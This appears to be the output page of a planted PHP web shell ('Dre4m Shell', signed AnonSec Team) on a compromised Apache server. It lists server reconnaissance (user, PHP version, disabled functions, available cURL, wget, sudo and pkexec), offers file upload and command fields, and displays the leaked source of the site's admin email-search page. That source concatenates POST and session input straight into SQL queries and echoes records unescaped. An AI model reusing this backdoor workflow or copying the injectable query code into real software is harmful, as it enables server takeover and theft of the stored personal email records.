Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.149.2.199
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/admin/email-search.php
<?php
session_start();
require_once('include/db-config.php');
if(isset($_POST['OrderField']) and isset($_POST['ascOrDesc']))
	$orderby = "Order by ".$_POST['OrderField']. " ".$_POST['ascOrDesc'];
else
	$orderby = "";
				   

?>
<table border="0" cellpadding="0" cellspacing="0" width="100%" align="center" class="normal_text">
    <tr>
        <td class="tablehead" valign="top"><strong>Sl#</strong></td>					
        <td class="tablehead" nowrap="nowrap" valign="top"><strong><a href="#" onClick="javascript:SortTable('EmailID');">Email ID</a></strong></td>
        <td class="tablehead" nowrap="nowrap" valign="top"><strong><a href="#" onClick="javascript:SortTable('FirstName');">First Name</a></strong></td>
        <td class="tablehead" nowrap="nowrap" valign="top"><strong><a href="#" onClick="javascript:SortTable('LastName');">Last Name</a></strong></td>
        <!--<td class="tablehead" nowrap="nowrap" valign="top"><strong><a href="#" onClick="javascript:SortTable('CompanyName');">Company Name/Title</a></strong></td>-->
        <!-- <td class="tablehead" nowrap="nowrap" valign="top"><strong><a href="#" onClick="javascript:SortTable('City');">City/State</a></strong></td>--> 
        <!--<td class="tablehead" nowrap valign="top"><strong><a href="#" onClick="javascript:SortTable('Country');">Country</a></strong></td>-->
        <td class="tablehead" nowrap valign="top"><strong>Email Added</strong></td>
        <td class="tablehead" nowrap="nowrap" valign="top"><strong><a href="#" onClick="javascript:SortTable('AddedDate');">Date Added</a></strong></td>
        <td class="tablehead" valign="top"><strong><a href="#" onClick="javascript:SortTable('Status');">Status</a></strong></td>
        <td class="tablehead" nowrap valign="top"><strong><a href="#" onClick="javascript:SortTable('MessageFailed');">Email Send</a></strong></td>
        <td class="tablehead" align="right" valign="top"><strong>Options</strong></td>
    </tr>
    <?php
          //if(isset($_GET['from']))
		  //{
		  if(isset($_SESSION['emailsearch']) && $_SESSION['emailsearch'] != "")
		  {
			$emailsearch=$_SESSION['emailsearch'];
			$sql="select ID, FirstName, MiddleName, LastName, CompanyName, Title, City, State, Country, EmailID, AddedDate, EditedDate, Status,Comment, MessageSent, MessageFailed from maintrainer_emaildetails 
			        where FirstName Like '%".$emailsearch."%' or LastName Like '%".$emailsearch."%' or EmailID = '".$emailsearch."' or CompanyName Like '%".$emailsearch."%' ".$orderby;
            
			
		  }//}
	  
	  else {
           $sql="select ID, FirstName, MiddleName, LastName, CompanyName, Title, City, State, Country, EmailID, AddedDate, EditedDate, Status,Comment,EmailAdded_Newsletter,EmailAdded_Cart,EmailAdded_Admin,EmailAdded_PPTPS,EmailAdded_AudioTK, EmailAdded_LeanCMMS, MessageSent, MessageFailed from maintrainer_emaildetails ".$orderby;
           //$result=mysqli_query($conn,$sql);
	       }
	  echo $sql;
 		$result=mysqli_query($conn,$sql);
		$total_records = mysqli_num_rows($result);
		echo "<br>Total = ".$total_records."<br>";
		if($total_records==0)
		{
		echo "<font color='red'>No Results  Found</font>";
		}
		
		// we get the current page from $_GET
		$size =10;
		$page = 1;
		if (isset($_POST['page']))
		{
		    $page = (int) $_POST['page'];
		}
		require_once('pagination.php');
		// create the pagination class
		$pagination = new Pagination();
		$pagination->setLink("email-mgt.php?page=%s");
		$pagination->setPage($page);
		$pagination->setSize($size);
		$pagination->setTotalRecords($total_records);
		$sql = $sql." ".$pagination->getLimitSql();
		$result = mysqli_query($conn,$sql);
        echo $sql;
		$i=0;
        while($row=mysqli_fetch_array($result))
        {
            $ID = $row['ID'];
			$FirstName = $row['FirstName'];
			$MiddleName = $row['MiddleName'];
			$LastName = $row['LastName'];
			$CompanyName = $row['CompanyName'];
			$Title = $row['Title'];
			$City = $row['City'];
			$State = $row['State'];
			$Country = $row['Country'];
			$EmailID = $row['EmailID'];
			$AddedDate = date('M-d-y', strtotime($row['AddedDate']));
            $EditedDate = date('M-d-y', strtotime($row['EditedDate']));
			
			$emailadded1="";
			$emailadded2="";
			$emailadded3="";
			$emailadded4="";
			$emailadded5="";
			$emailadded6="";
			if($row['EmailAdded_Newsletter'] == 1)
			{
			 $emailadded1="Newsletter<br>";
			 }
			 
			if($row['EmailAdded_Cart'] ==1)
			{
				$emailadded2="Cart<br>";
			}
			if($row['EmailAdded_Admin'] ==1)
			{
			$emailadded3="Admin<br>";	
			}
			if($row['EmailAdded_PPTPS'] ==1)
			{
			$emailadded4="PPTS<br>";	
			}
			if($row['EmailAdded_AudioTK']==1)
			{
			$emailadded5="Audio TK<br>";
			}
			if($row['EmailAdded_LeanCMMS']==1)
			{
			$emailadded6="Lean CMMS<br>";
			}
			
            if($row['Comment'] != "")
			{   
	           //$Comment="<font color='red'>*</font>";
			    $Comment="<img src=images/action_flag.png height='25' width='25'>";
			}
            else {
				$Comment="";
			}
			
            if($row['Status']==1)
            {
                $Status="Active";
            }
            else
            {
                $Status="<font color='red'>Inactive</font>";
            }
			$MessageSent = $row['MessageSent'];
			$MessageFailed = $row['MessageFailed'];
			$EmailSend = '<font color="green">'.$row['MessageSent'].' Send</font><br><font color="red">'.$row['MessageFailed'].' Failed</font>';
    ?>
    <tr onMouseOver="this.className='normalActive'" onMouseOut="this.className='normal'" class="normal">
        <td class="tabletext" valign="top"><?php echo ++$i. $Comment; ?></td>
        <td class="tabletext" valign="top"><?php echo $EmailID; ?></td>	
        <td class="tabletext" valign="top"><?php echo $FirstName; ?></td>
        <td class="tabletext" valign="top"><?php echo $LastName; ?></td>					
        <!--<td class="tabletext" valign="top"><?php// echo $CompanyName."<br><font color='#666666'>".$Title."</font>"; ?></td>-->
        <!--<td class="tabletext" valign="top"><?php// echo $City."<br><font color='#666666'>".$State."</font>"; ?></td>-->
        <!--<td class="tabletext" valign="top"><?php// echo $Country; ?></td>-->
        <td class="tabletext" valign="top"><?php echo $emailadded1 . $emailadded2 . $emailadded3 . $emailadded4 . $emailadded5.$emailadded6; ?></td>
        <td class="tabletext" valign="top"><?php echo $AddedDate; ?></td>
        <td class="tabletext" valign="top"><?php echo $Status ?></td>
        <td class="tabletext" valign="top"><a style=" text-decoration:none; font-weight:normal;" href="email-send-report.php?a=rep&id=<?php echo $ID ;?>"><?php echo $EmailSend ?></td>
        <td align="right" class="edit-del-link" valign="top"><a href=" email-edit.php?id=<?php echo $ID ;?>">edit</a>&nbsp;|&nbsp;<a onClick="return confirm('Are you sure you want to delete?')" href="email-delete.php?id=<?php echo $ID ;?>">delete</a></td>
    </tr>
    <tr><td colspan="10" class="tableline"></td></tr>
    
    <?php 
    }
	//unset($_SESSION['emailsearch']);
    ?>
    <tr><td style="height:20px;"></td></tr>
    <tr>
    	<td colspan="10">
    	<?php
         require_once('pagination.php');
         $navigation = $pagination->create_links();
         echo  $navigation; // will draw our page navigation
        ?>
    	</td>
    </tr>
    <tr><td style="height:20px;"></td></tr>	
</table>			

Anon7 - 2022
AnonSec Team